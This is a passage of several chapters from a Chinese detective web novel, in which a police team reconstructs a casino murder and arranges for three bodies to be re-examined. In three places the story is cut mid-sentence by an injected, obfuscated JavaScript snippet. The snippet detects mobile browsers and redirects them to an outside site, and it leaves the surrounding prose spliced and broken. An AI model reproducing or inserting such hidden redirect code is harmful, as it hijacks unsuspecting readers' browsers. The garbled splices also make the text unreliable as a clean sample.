安月见冷不防被点名,心脏跳了一下,“因为有人开始送来了快递!” “快递上是什么?” “是周乐天的表!”安月见条件反射似的回答,忽然意识到什么,大声啊了一下,“是周乐天的表!” “是的。”高尚桢点头,“是他的表。当初我们主张追查表的时候,你的推理很不错,你认为是这块表是被蛇矛拿走的,因为不可能自动丢失,不可能是情报司藏匿不还,蛇矛必然将死去赌客的财物席卷一空,包括这块表。” “你的推理在当时看完全正确,无懈可击。直到我们看到真正的现场照片。” 他指了指满桌的死者照片,“银脊的赌客大多身家不凡,现你在去看他们的尸体。” 安月见着魔似的站起来,目光在照片一张张扫过。 银脊死者有一部分是在狂轰乱炸中死去,尸体被炸得乱七八糟,但更多的是中弹而亡,他们有的倒在赌桌旁,有的倒在逃跑的路上,尸体惨不忍睹,然而细细看去,无论是女性佩戴昂贵的首饰,还是男性名贵的手表婚戒,虽然血迹斑斑,却都好端端在原处,散乱到各处的,还有各国现钞。 “记得吗?那些听说过蛇矛的人说,他们干的都是大生意,他们不打劫私人。” “那为什么,就偏偏周乐天的表丢了呢?” “卫其宏,你来回答!” ——为什么就周乐天的表不见了? 永远率先的倒霉卫其宏咬着牙,努力不让自己被这个问题击倒,“组长你让我想想,我想想!是不是,是不是!”他瞪着眼,给出一个明知道不可能的答案,“是不是那个表就是中央情报司要找的东西?那种,那种微型胶卷或者芯片什么的?” 界至野翻了个白眼,把表的打印照片送到他鼻子底下,“你自己瞅瞅,妻云云,赠乐天!他老婆送他的表!还芯片,亏你想得出。”说到这里到底有点不放心,转头去看程宥,小心翼翼的问:“我说的没错吧,调查官?” 程宥看了他一眼,摇头,就在界至野心里一沉的时候,他听到调查官天籁般的声音,“我不知道那是什么,但是体积比手表大。” ——我表妹夫真是个大好人! 界至野第一百零一次从灵魂深处发出赞叹。 高尚桢好笑的看了程宥一眼,发现他的眼神又一次从鸡蛋饼上掠过。 卫其宏顽强的反击,“要不就是这个表特别值钱?” 虽然气氛紧张,但是盛苒都忍不住笑了,“妻子送丈夫的礼物,肯定是值钱的,但是未必有女客身上的钻石项链值钱。” 卫其宏又被打败了,他绞尽脑汁,“……私仇?是不是他惹了什么人,人家有私仇,才……”说到这里他自己都编不下去了,人都死了,什么深仇大恨都报了,再说报仇也不用拿人家一块表去报仇啊! 高尚桢重新看向安月见,这位年轻刑警的脸憋得通红,显然想到了什么。 “安月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652204|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,你说。” “我说,我说,”安月见的声线因为激动而颤动不已,“为什么这个表会不见了,也许不是因为这个表本身,而是因为它是周乐天的表,是赌场老板的表。” 赌场老板? 几名刑警的注意力被这四个字吸引了,是的,赌场老板! 卫其宏第一个跳起来,翻到周乐天的照片,他仰面朝天倒在在扇形VIP包房,正前方二十几米外,就是那个黑洞洞的安全通道,而他右侧,是掀翻了的赌桌。 界至野从他手里接过照片,揪着胡子茬再次研究,“我们也看过这张照片,觉得他之前就中弹了,挣扎到这里想要从紧急入口逃走,结果撑不下去了。”他指了指从门口延申到他身下的斑斑血痕。 这时盛苒也找出了周乐天的尸检报告,上面显示他身中三枪,两枪在正面,一枪在背部,正面两枪经过弹道分析是来自蛇矛的军用枪械,致命的一枪则来自背,那是赌场内部配备的枪支,中央情报司的推论也很简单:周乐天死于双方混战。 以当晚的混乱程度来讲,死在自己人枪下并不稀奇。 安月见的脸憋得更红了,高尚桢鼓励她,“你想说什么,大胆说。” “我们要联系到另一个死者,”她大声说,“在密舱和VIP通道里中转间的那个死者,他是怎么死的?” 这句话吸引了程宥的注意,他的目光从咖啡上挪开,投向了安月见。 界至野放下周乐天的照片,又拿起中转间那被涂黑的尸体照片,愣了半晌,猛地在大腿拍了下,“我知道小安要说啥了!” 他霍然起身,指着那张翻到的赌桌,对程宥画出的地图还有粘在地图上的照片,“这里,这里,这个赌桌下面,就是VIP和密舱的通道,从VIP到密舱,几十米距离,还有中转间,最要命的是这个中转间是单向的!只能从密舱那边推进来,这边进不去!” “假如说我现在是蛇矛。我的人已经控制了VIP房,学生们都在我手里当肉盾。我的目标是什么?特种部队随时都要来,我得赶紧他妈的从画后面那条路跑掉!” “可情报司的分析结果是这个人是蛇矛杀的。” “蛇矛在这么个危机时候,没有守住VIP房这个唯一的出口,没有赶紧跑,反而重新进入了一条狭窄的单向密道里?” “更别说蛇矛不见得知道有这个通道,你看这个桌子都翻了,但是地毯还完整,上面连个枪洞都没有!” 他抬起头,看向卫其宏,“中转间那个人的照片呢?” 卫其宏咽了口口水,从地图上摘下照片,照片上,中转间通向VIP通道这一侧的门敞开着,一只手从房间里伸出来,搭上了通道。 界至野看向安月见,“中转间是单向的,为了保证密舱安全,只能从密舱向VIP房间走,不能掉头。现在你是中转间里的那个人,你会在什么情况下,离开这个特别安全的地方?” 安月见眼睛闪闪发光,“外面枪声停了,我要出去。” 界至野嘿嘿的笑,“那么如果我就在门外,会怎么样?” “我从里面一打开门,迎面就是子弹……”安月见声音消失了。 卫其宏蹦了起来,“枪声停了!不是蛇矛!不是蛇矛!蛇矛早跑了不可能在这里等着!” “杀害交易者的,就是这个送快递的人!” “所以周乐天的表为什么会丢?”高尚桢站起身,看着激动的刑警们,“换个问题,他为什么会死?” “他是老板。”卫其宏的心脏开始怦怦跳,“他背部中弹,意识模糊,枪声停了,他要逃,他本能的想向安全通道走。” “然后呢?” “然后那个杀掉交易者的人从密道出来。”安月见深吸了口气,接了下去,“周乐天看到了他从密道出来,拿了东西!” “然后呢?” “凶手要灭口!” 砰! 周乐天不可置信的看着枪手,仰面倒下。 枪手跨过他的尸体,正要离开,目光一闪,落上了他手腕间的表。 他蹲下去,撸下那块表,胡乱套在自己手腕上,转过身,消失在紧急通道深处。 砰! 高尚桢一拳砸到桌子上,“把他给我找出来!” 36. 鸡蛋饼 红驼警局二楼 刑事调查组。 午后三点的阳光穿过玻璃窗,洒落在每个人身上——实在太让人想睡觉了,尤其对两天只睡了3个小时的刑警们来说。 安月见已经没心思惦记她的喷雾给力不给力了,她觉得血管里流淌的都是咖啡,而她还在源源不断往里面输送着新鲜血液,啊不,新鲜的黑咖啡。 她喝着今日的第N杯精神刺激剂,看着书面上成堆的报告,觉得组长打的鸡血……啊不,是激励,组长的激励好像也不怎么管用了。 盛苒路过,看着她正抱着超大号咖啡杯发呆,不自禁笑了,“想什么呢?” “我在想……”安月见吞吞吐吐的开口,她知道有些话不该说,可是积攒的疲倦和咖啡因在她体内如火如荼的战斗着,她大脑的闸门在这一瞬被冲垮了。 “为什么组长一定急着查这个内应?我们等不就好了吗?他都寄出了三封快递,也一定会联系我们,不是明天就是后天,我们到时候抓住他不就好了吗?为什么一定要赶在他联系之前查明白呢?” 安月见确实不明白。 盛苒先是点头,“你说得没错。我们等就行,他会自动送上门来,但是……” “这么说吧,”她看着安月见,“假设一周之前这个人来警局,说我知道真相,给你们线索,但是我犯了一点小错误,偷了点东西,组长会怎么办?你会怎么办?” “我们太想抓住红驼连环案的凶手了。”安月见吸了口气,“在这种情况下,组长会敦促检察官和他做交易,将他转成污点证人。” “是的。”盛苒点头,“交易一旦达成,即使我们以后发现他是内应,他就是一起甚至两起命案的凶手,我们也拿他无可奈何。因为交易里必然会有‘免于起诉’一项。他甚至会从警方这里拿到大笔好处,远走高飞。” “这种事你能接受吗?” 安月见沉默了,她想起了满桌子的照片,想起了和周阙的电话,想起了方楚的录音,“不能。”她缓缓摇头,“我不能。” 血管里的咖啡因终于卷土重来,将疲倦暂时击溃。 她叹口气,喃喃道:“所以组长才要我们再查银脊所有工作人员的档案,无论是活着还是死了,一个也不要放过。”说到这里她突然意识到什么,有点慌乱的探出身向高尚桢的座位看去。 盛苒扑哧笑了,“放心吧,老虎不在家,没听见你的话。” 安月见不好意思的拿咖啡杯挡住脸,“不是牢骚,就是问问。”她看看四周,发现卫其宏站在会议室门口一张凳子上,正伸手去扯烟雾探测器的线。界至野仰头旁观,嘴里还不停嚷嚷:“你麻利点,我都憋两天我,等着抽呢!” 她好奇起来,“组长呢?调查官也不见了。” 盛苒拿起自己的笔记本,“估计组长正在和调查官做工作吧。” ——正在给他洗脑,她暗自嘀咕。 她猜得没错,高组长在楼梯间里,和调查官肩并肩的坐在一起。 坐在最高一节的楼梯上当然不是程宥的选择,他只想在楼梯间里利用太阳光抑制褪黑激素,同时避开一个让他情绪不稳的人。 可没一会,那个最近总让他情绪朝负方向波动的人就大剌剌的拉开楼梯间的门,跑过来拉着他坐下了。 高尚桢看看身边人没有表情的脸孔,又一次读出了其中的烦躁,憋闷,疲倦和焦躁,于是非常非常关心的开了口:“你是不是最近睡眠不太好?” 程宥没有看他,拧开矿泉水瓶盖喝了口水,就在高尚桢自顾自要接下去之前,平静的开了口,“距离上一次休息58小时32分钟。” 这样啊,高尚桢对他表示同情,“是挺长了,不容易。”他真诚的讲,好像罪魁祸首不是自己一样,“不过特种部队几天几夜不睡觉也很正常吧。” 程宥都懒得看这张脸,“这违反人类的生理机能,特种部队也……”他卡了一下,“也不能降神。” 高尚桢稍微一愣,随即哈哈大笑起来,“你居然也会说笑话了,哈哈哈哈哈,朗基努斯之枪和神降也差不多了吧,哈哈哈哈。” 程宥只觉得自己的脑子都被他哈哈傻了,回答不经思考就脱口而出:“我退役已八年,神降与我无关。” 这句话刚出口,他立刻愣住,手中的矿泉水瓶停在半空。 我为什么会说这句话?我哪里出了问题? 他想。 高尚桢目光一闪。 八年。 恰恰在银脊血案之后。 他想问,然而目光捕到程宥一刹那的僵硬,涌上喉头的疑问便转了向,“那就更不对了。”他煞有其事的说,“当警察不习惯熬个七天七夜怎么行?” 程宥的脊背稍稍松弛下来,虽然他无法判断这句话的真假,但更加完全不想搭理高尚桢,然而刑事组长就这样在旁不出声的看着他,仿佛在提醒他作为一名调查官的职责。 ……他到底想干什么? “我的判断力比平时下降了百分之五十以上。”程宥尽力思考对方可能会提出的需求,“如果你需要我再次做环境研判,现在我并不能完全满足你的要求。” “会犯错!”他加强重音,看向令他犯错的始作俑者。 “不用。”高尚桢挥挥手,潇洒又大方,“你已经做得非常好了,不用再研究环境因素了。” 程宥捏紧的手指和他脑中负责理性运转的齿轮开始同步放缓。 ——这么说今日任务结束了,如果没有其他要求,我可以下…… 他这边还没运转完,就听到高组长很顺溜的接口,“你需要帮我做其他的事。” 程宥:…… 程宥缓缓抬起头,望向头顶的天花板。空荡荡的天花板上雪白又安静,没有高尚桢,实在是太美好了。 “如果对案件有帮助,可以。”他忍耐的回答,“什么事?” 高尚桢嗯了一声,“现在还不确定,对了,估计不止一件,有可能两件,也可能三件,更多的话我觉得压力有点大了。” ……也许一件……两件……三件…… 齿轮停了一下,随后开始嘎吱嘎吱运行,彼此疯狂咬合,越跑越快。 “什么时候?”程宥平静的问。 他手里的矿泉水瓶慢慢变扁,瓶中水线直线上升。 “还不知道。”高组长轻松的回答,“可能晚上吧,也可能明天中午?明天晚上的话也不太好说,总之不会超过后天中午。” 咔——擦——! 塑料瓶裂了。 水从裂缝挤了出来。 ……晚上……明天中午……明天晚上……后天中午…… 程宥一节一节扭过脖颈,与高尚桢面对面。 咯咯声里,矿泉水从他指间漏到了地上。 他的拳头慢慢攥起。 这当然不对,不理性,绝对不理性。 可近在咫尺的这张脸实在太过可恶,即使是强大的理性程式,也无法将这张脸引出的情绪打包运走,然后彻底销毁。 就不理性了怎么样! “你……” 然而,就在发生惨剧前的零点一秒,奇迹般的,高组长从口袋里掏出一个纸袋。 “就剩一张了。”他说,递到程宥面前,“我要不给你偷走,就都被那帮小子吃了。” 是一张金黄蓬松的鸡蛋饼。 程宥捏着拳,定在原地。 他看着这张饼。 齿轮又一次停下了。 一切万籁俱寂。 然后, 一台名叫理性的机器重新启动。 ——这份食物里含有的白砂糖,全脂牛奶,黄油,植物油,糖脂钠完全超标,不符合健康学…… 有个齿轮卡住了。 ——虽然它闻起来很香,口感也会很不错…… 机器开始自检。 马达全速运转,能量疯狂输出,无数齿轮噶吱嘎吱的齐齐轮转,越转越快,越转越快,巨大的力道向那个卡住不动的齿轮挤压过去。 ——我应该…… ——我不应该…… 巨大的摩擦声里,一簇火星从齿轮处兹拉窜起。 啪! 先是一个齿轮崩上半空,然后是第二个,第三个…… 一个接一个的,齿轮卷起火星,四下飞溅。 庞大的轰然运行的机器中,有一个部件悄悄停了下来。 他定在原地,过了良久,接过了他手里的鸡蛋饼。 “谢谢。” “不过这个不需要。” 他对着一瓶捧到面前的快乐神仙水下了逐客令。 ================== 下午五点半,会议室。 “最后一次复盘,”高尚桢说, “开始。” 即使两天一夜完全没合眼,刑事组长依旧精神勃勃,意气风发,导致组员们都暗自怀疑组长(老大)是不是连灌了十瓶红牛。 他的样子简直比平时还好,眼睛闪闪发亮,嘴角的笑意就没下去过。 相比之下,坐在他对面的调查官可就糟透了。 领带不见了,西装外套不见了,连万年常在的矿泉水也不见了。 他手肘支在桌面上,手托着腮,低垂视线一直落在桌角那只不知何时飞进来的苍蝇上,深灰的眼睛眨也不眨,明明大家都正襟危坐等着组长发言了,他却始终保持着这个“你随意吧你我也随意吧我”的姿势,连头也懒得抬一下。 然而高尚桢只是笑,直到组员们呆滞的眼神从奇怪的调查官转向奇怪的他,才咳嗽一声,“我们开始吧。” ……最害怕这句了…… 卫其宏正在暗自叫苦,高尚桢已点了他的名字,“卫其宏,生还者的资料都对比完没有?有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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界至野又点燃一支烟,“这个倒不算难。”这位老江湖侃侃而谈,“赌场本来就不合法,银脊在边境上,又这么个级别,那些荷官和安保啊,怎么可能用真实身份?” “银脊对外是个小滑雪场,登记的工作人员才二十来人,估计就是在旅馆里的那些服务员和厨师。” “那真正在赌场里干活的,像什么服务员啦清洁工啦,厨房帮忙的又得好几十号人,虽然明面上查不到,内部记录很清楚,中情司也查到了。” 说到这里他在纸船上磕了磕烟灰,停了下来,发现调查官跟只好奇的猫一样还在研究那只苍蝇,老大呢,虽然因为他的话频频点头,眼睛却一秒没从调查官那边收回来,真正用心听讲的也就是他身边这个搭档了。 ……懂了,就是让我讲给卫少爷听的。 “可也还有那种日结,拿了钱走人的,说不定就是谁谁老乡或者亲戚,临时过来赚一天外快,这种人老板自己都不一定清楚谁是谁。要真是这种情况,那肯定没登记。” “现在是知情的死了,没死的也不知情,更别说当晚绝密交易,内部摄像都停了,就算真有这么个临时工,我们也查不到啊。” 卫其宏开始还频频点头,听到这里觉出不对劲了,“界老,不对呀。”他敏锐的点出这段话里的破绽,“这人能画出地图,显然是内部人;而且就像之前你自己说的,这个人在密道里杀人,出来碰到周老板,又把他干掉了,对这些事这么清楚,那肯定不是日结工干的啊。” 他挠挠头,“这里又不对上了。要是长期员工,没理由不在名单上啊,中情司不可能查不到,对不对,组长?” 他求证似的看向高尚桢。 后者总算把视线强行挪开,朝他微微点头。 现在很显然有矛盾的地方。 如果中情司查不到这个人,说明他大概率是偶尔出现的临时工; 可临时工怎么会知道密舱和密道? 他必然是资深员工。 可如果是资深员工,中情司又怎么会对不上号? 卫其宏刚要接上,然后就—— 啪! 程宥霍然站起,抓过文件夹,一下拍死了那只苍蝇。 他缓缓坐下,杵着下巴恢复了他的低电模式。 卫其宏傻了。 高尚桢站起身,想把那只苍蝇扫到地下,胳膊都伸出去了,又停下了。 他绕过桌子来到程宥身边,还顺手抽走了界至野的纸船烟缸,将苍蝇的尸体小心翼翼的扫入纸船,又将它塞回界至野鼻子底下,然后拉开椅子,拿起程宥的西装,搭上他的胳膊,最后蹲下身,去自下而上看他,声音放得很轻:“要不你休息一下?” 目睹一切的界至野:……老大不对劲。 反应过来的卫其宏:……组长又要让调查官帮忙了。 程宥拿起西装,一边穿一边开口:“最晚不会超过后天中午。”他平静的重复楼梯间里听到的话,“当然做得到。” 37. 咖喱与夜枭 整间会议室里弥漫着咖喱的浓厚气息。 盛苒带着安月见特地跑到附近一家异国餐馆,给大家带回来了黄油鸡,辣羊咖喱,红咖喱羊,坛炉烤鸡,还有许多烤饼和香米饭;考虑到调查官的饮食习惯,安月见还很贴心的为他点了蔬菜鸡肉串和藜麦,味道当然比不上被香料浸透了的鸡和羊,可是够健康啊。 调查官一定满意! 安月见信心满满的想,没想到铝制餐盒还没轮到调查官手上,先被组长夺走了。 高尚桢看着满盒子甜椒和几乎无油的鸡块,还有铺在下面的,那起来就很难吃的,灰白色的,藜麦,笑了下,“挺好,谢谢。”然后将咖喱羊推到程宥面前,“这个归你。” 程宥不知从哪里又搞来一瓶矿泉水握在手里,看着面前热气腾腾的咖喱羊肉,和同样热气腾腾的高组长,静了一瞬。 安月见心都提了起来,她想说组长你什么时候爱吃这个,快还给调查官……还没来得及开口,就见他拿起个勺子,连肉带藜麦一起塞到嘴里;这边调查官静默一霎后,居然也捡了把叉子,慢慢挑起块羊肉,送入口中。 安月见:…… ……这什么玩意,真TMD难吃。高尚桢想。 ……羊肉为什么要炖咖喱。程宥想。 除了组长之外,所有人都补充了一顿高热量的晚餐,大家有点困,也有点想消化过于富裕的能量,都打起精神看向站在会议室前方的高尚桢。 不知是否因为距离侦破只差临门一脚还是别的什么缘故,他看起来是前所未有的容光焕发。 “……从中央情报司名单上消失的资深人员,我们集中解决这个矛盾。”高尚桢看了看卫其宏,“你来说!” ……次次都是我,永远都是我。 行吧,这是领导看重我。 卫其宏在桌下揉着肚子强行乐观,他泡在咖喱的脑筋转得很慢,“我想想……组长,你让我想想,是不是,啊!就中情司找到他,biu的一声把他干掉了!” 程宥撩起眼皮瞅了他一眼。 “不对,”卫其宏没注意到这一眼,拍了下脑门,自己把自己否了,“不对不对,他肯定还活着,要不快递哪来的?要不然就是情报部门不想让他暴露,偷偷让他当了线人?他现在反悔了,不想干了?我觉得……” 程宥又向他看了一眼。 这回卫其宏接收到了信号,下面的话马上转了向,“我觉得……也不可能!” 界至野跟瞅傻子一样瞅他,要这家伙真是中情司的线人,他们还用大老远把调查官派来?还用给组里打包这么多资料? 卫其宏哭丧着脸看组长,举手投降,“组长我想不出来了,放弃!” 高尚桢寻思这小子谍影重重看多了,算了,放过他。 他转向安月见,“你来说。” 安月见的想法其实和卫师兄差不多,不过吃饱饭又出去兜了个风的她头脑稍微灵活了一点,被组长一问,无数狗血剧忽然间冲上心头。 “是不是故意从名单上漏掉的?”她小心瞄着组长的脸色,“周乐天不想让人知道?那个,关系不太一般,就,就不想让她,……他也行,曝光……” “对!”卫其宏陡然精神大振,“金屋藏娇,谁也不知道!” 不等高尚桢开口,界至野哈哈大笑起来,“我就没见过藏赌场里的娇!你还不如说中情司哪个人狗血上头,非把这个人藏娇哪!呃——” 原来程宥又默默瞅了他一眼。 “少扯些乱七八糟的。”高尚桢竖起眉毛,“不许污蔑我们中情司!” 程宥收回了视线,重新盯着桌面。 看来这俩小的是靠不住了,老界离了烟也不行。 高尚桢看向盛苒,后者一直没怎么开口,目光停留在赌场人员的名单上,感受到组长的目光,她抬起头,推了推眼镜,深思的开了口,“如果活人找不到,那么死人呢?” BINGO! 刑警们精神一振,听盛苒继续讲下去,“中央情报司的工作做得很深,很多不在雇员表上的死者都被研究得很透彻,我们不会怀疑他们的资料。” “但是,”她慢悠悠的丢出了下一个问题,“他们为什么会认为他们查出来的死者资料,就百分之百属于死者本人呢?” 这话有点不太好懂,然而刑警们都听明白了,不必高尚桢点将,那边卫其宏率先回答,“DNA证据!” “但是就如老界在资料里总结的那样,很多人用的是假身份,拿的是□□,情报部门怎么确认真是本人?” 安月见开始打补丁,“这些工作他们也做了,他们做了家族DNA族谱分析,确认真实身份。” 盛苒点点头,“那要没有找到家人的死者呢?怎么核对?死者里起码五个这样的人,用的是假身份,家人也没查到。” 卫其宏赶紧去翻总结资料,“……盛姐你说得对,确实有好几个人是这样的,哎,这些赌场的人背景真是太复杂了,他们的核对好像是通过活下来的人员辨认,还有……还有……” 盛苒并没有听到之前界至野对赌场人员的分析,不过她还是摇摇头,“就像你说的,赌场人员复杂,我相信有很多人可能就是短期零工,甚至有当天才加入的,活下来的人里只有一个长期员工,她真的能记得所有人吗?”她看向卫其宏,“还有什么辨认方式?” “通行证。”界至野在旁接上,“不管正式的还是临时的,都给一个通行证,正式员工还有铭牌,几具无名尸都是靠着这个……”他停住了。 会议室里霎那间寂静下来。 所有人都领会了盛苒的意思。 安月见结巴了,“盛姐你是说,如果有个临时来帮忙的人死了,在大家谁也不知道的情况下,他的身份被人替换了,替换他的这个人,是我们提到的资深员工……” 盛苒点头,“是的,这样赌场里不知不觉少了个人,而谁也没有发现。” 卫其宏挠头,“但是不可能啊,”他的脑筋彻底从咖喱汁里跃了出来,重又清爽无比,“对,零工可能没人认识,但是老员工可干了很多年,这不可能认错人啊!” “有可能!”界至野突然拍案而起,“蛇矛临走时还丢了炸弹,你记得吧,里面不少人炸得都没样儿了,衣服都炸没啦,就靠个铭牌和通行证认的!” 会议室静可闻针落。 ……如果一具面目全非的尸体无法辨认…… ……如果这具尸体上挂着某个人的铭牌…… ……如果这时候有人更换了铭牌…… ……如果人数完全严丝合缝…… 为什么中央情报司会去怀疑赌场少了个人! “可,可,可……现在该怎么确认?”卫其宏激动得都结巴了,他趴在桌子的档案里手忙脚乱一通乱翻,“一,二,……三。” “我们有三具这样的尸体!” “我们怎么知道哪个被真凶换了?除非把他们尸体挖出来再验一遍!” 程宥身体仰向椅背,他无声的看向高尚桢。 他想起了他在楼梯间说的话。 “你需要帮我做其他的事。” “现在还不确定,对了,估计不止一件,有可能两件,也可能三件,更多的话我觉得压力有点大了。” “……可能晚上吧,也可能明天中午?明天晚上的话也不太好说,总之不会超过后天中午。” 高尚桢从卫其宏手里接过三份死者档案,大步走到程宥身旁,将档案放在了他面前的桌面上。 他看进程宥的眼睛,神情无比严肃:“想办法帮我核查这三个人的身份,程宥调查官。” 程宥看着那三沓厚厚的档案,慢慢将手掌压了上去,站起身与他面对面而立。 “好,高组长。” 他以同样严肃的态度做出承诺。 ======================== 就剩下最后一环了,马上要熬满两天两夜的刑警们很兴奋,这种兴奋催动了肾上腺素,让他们忘了疲倦。 多亏神通广大的调查官。他们想,怎么也赶不上这个家伙的下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652206|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通电话了,但是尽量办法拖住他,直到新的法医报告出笼。 离胜利只有一步之遥! 会议室里已经不像之前那么凌乱,大部分资料已重新封入纸箱,只有关于几名死者的档案还在桌子上等待验证。 ——终于干完了,两点了,哎呀妈。 界至野腰酸背痛,再看看卫其宏还挺生龙活虎的,高尚桢则低着头在手机上发送信息,不由感叹一声年轻人就是身体好,熬了两天两夜也跟没事人似的,不像自己,浑身哪哪都疼。 ——闺女还说要一起看球赛,同城大战啊,现在看啥看,能认得她爹不错了。 ——今天到这里差不多了吧。 ——卫少爷这网页刷了好一会了,他也不敢走,嗯,老虎不挪窝,谁敢走。 ——老虎在那干啥呢,跟谁发短信呢这是?怎么一副凶相。 界至野揪揪下巴上钻出老长的胡子茬,试探着开口:“老大,是不是没事了?要不先回去?” “嗯。”高尚桢头也不抬,在手机上继续疯狂输入,“你们先回去,我再等一会。” ……等啥? 界至野有点奇怪,看老大还在那使劲摁来摁去,偶尔冷笑一声,表情十分瘆人,不由心里打鼓。 ——又变回老虎大王了,和晚上那个黏糊劲纯俩人啊这是。 ——嗯,不,这个才是老大,那时候才不对劲。 ——他因为啥不对劲…… 他一边琢磨一边打着哈欠准备下楼,就在这时,远方忽然传来一阵低沉轰鸣声。 界至野愣住了。 ——不是吧?打雷了?几年一遇啊。 ——不对,好像不是雷声。 的确不是雷,它更深,更长,也更厚。 正收拾东西的卫其宏也听到了动静,他好奇的来到窗边,伸手推开一扇小窗。 温热的夜风裹卷沙尘猛灌了进来,窗帘被扯得簌簌作响。 卫其宏探出头去看了半天,才辨认出远处夜空下,有两个交替闪烁的光点,一红一绿时隐时现,向这个方向逐渐逼来。 ——这是啥? ——我太累看错了? 轰隆愈发响了。 他使劲揉了揉眼睛,看到红绿光点间,仿佛蛰伏了团巨大的黑影,正把夜幕一层层推开。 这是什么? 突然之间,一道白光从天而降。 空气震动,玻璃颤鸣。 警务大楼刹那间亮如白昼。 夜浪与轰响中,那缓缓逼近的庞然巨物终于现形。 窗前的两名刑警嘴巴慢慢张大,他们从没见过这阵仗。 不,红驼从没见过。 ——夜枭19军用直升机。 重重气浪一圈接一圈在翻卷,金属桨在夜空中搅楚一个巨大的漩涡。 传说中的夜枭悬停于大楼上空,俯瞰下方。 它在等待。 会议室里,高尚桢站起身。 刷—— 停车场上,有人打亮了雪白的车大灯。 咔哒咔哒—— 金属的机械声中,夜枭的机腹缓缓打开,两根钢索自其腹内向下垂落,笔直又缓慢穿透夜色。 两名士兵出现在出口,他们全副武装,面容背光,只有横在中间那黑布包裹的长方物体异常分明,在钢索完全落地后,他们一左一右,拎起了那件物体,单手握住绳钩,沿着钢索缓缓下降。 然后是第二组士兵, 第三组士兵。 在呼啸气浪里,六名士兵与三具黑色物体,稳稳降落在地面之上。 士兵们俯身解除锁扣,将三件物品放在警局前停车场上,然后迅速列成一排。 打头的士兵向车灯处大步跑去,啪的停下,双脚并拢,抬手向车后之人肃然敬礼。 那人脊背挺直,身姿如枪,举手回礼。 士兵又一个立正,反手从背包里取出一份文件,连笔带纸平递到他面前。 神色冷峻的调查官接过笔,签下了自己的名字。 38. 巧克力 直到空气中仅留下气旋的余波,夜枭19远远消失在夜穹之下,二楼窗前的两名刑警俩眼呆直,依旧在发懵。 直到停车场上的车灯灭了,一束手电光自下而上斜射而来,在窗户上扫了扫,警察们才如梦初醒,不约而同“我X”了一声。 一,二,三! 他们知道那是什么了! 卫其宏向后退了一步,他的腿刚才绷得太直,一下卸了劲,好悬没站稳,幸好界至野在旁伸出手架住搭档,中年刑警的眼睛闪闪发光,手里的烟都攥不住了,激动得直嚷嚷, “我X我X,可惜四楼老寇他们不在,这是他最爱呀,就是没亲眼看过!哇,明天我得给他白话…”说到这里他猛地住嘴。 这是绝密!看到也得装看不到!出去白话更万万不行! 这是要憋死老子!! 意识到保密条例的界至野沮丧的挠挠头,接着看到窗子上的手电光在明明灭灭的闪动。 “是摩斯密码。”卫其宏第一个反应过来,他按住砰砰乱跳的心脏,直推老搭档,“调查官在催了,我们得赶紧下去,组长也……” 他回过神来,转身看到组长不知何时来到身后,正看向窗下。 他一反常态的沉默,任凭两人大呼小叫,只定在原地不动,仿佛一尊冰封的雕像。 界至野试着叫他两声,见他仍旧一言不发,举手在他眼前一通挥,嘴里碎碎不停,“老大,老大!” 慢慢的,高尚桢收回了目光,重新看向两人,“走吧,”他声音前所未有的低,“陈法医也快到了。” 陈裕理半夜被高尚桢的夺命连环call从床上给掀了起来,在一路的破口大骂中开车来到警局。等他看到法医室前那三口裹得严严实实的棺材和旁边的一堆文件时,默然半分钟,可火气仍然没散,指着高组长的鼻子愤怒不已,“催催催,就知道催!今天检不上就能发生世界大战吗!今天周五啊,周五啊!你知道老子白天得去清沙那边吧,我在清沙验了10个小时的尸啊!半夜一点半还得接着给你干活!” “谁和你工作都得折寿十年!” 尽情一通发泄后,陈法医气冲冲的打开旁边的衣柜,一面换无菌服一面等待对面的反应。 一般这种情况,他这位老同学不是卡着腰反唇相讥,说一堆“再这么暴躁你往脸上敷一百张面膜也不行”的废话,就是充耳不闻,对他笑容可掬,不断甜言蜜语哄他干活。 具体采用哪种态度,完全取决于他要求有多急。 可是今晚,高尚桢的反应完全在他意料之外。 他垂着头,两只手插在口袋里,任法医口水狂喷,只戳在原地动也不动,好像在想什么,又好像只是单纯在发呆。 等陈法医手套都戴好了,他还是维持一模一样的姿势,跟被水泥糊住了似的。 陈裕理的怒气终于消散了些,他看着格外不对劲的老同学,开始有点担心,“喂,高尚桢,你没事吧,是不是加班加傻了?” 高尚桢全无反应。 陈裕理的视线挪向刑事组的两名刑警,“你们组长怎么了?傻啦?” 界至野和卫其宏对视一眼,同时机械的摇头,“他这样半天了,不知怎么回事。” ——可能是困的,卫其宏想。 ——可能是……,界至野不敢想。 陈裕理正准备继续担心,忽然见到刑事组长抬起了头,对着天花板长长出了口气,喃喃念叨句什么,然后又转向自己,“谢了。我欠你人情。” 你欠我一百次人情了都。 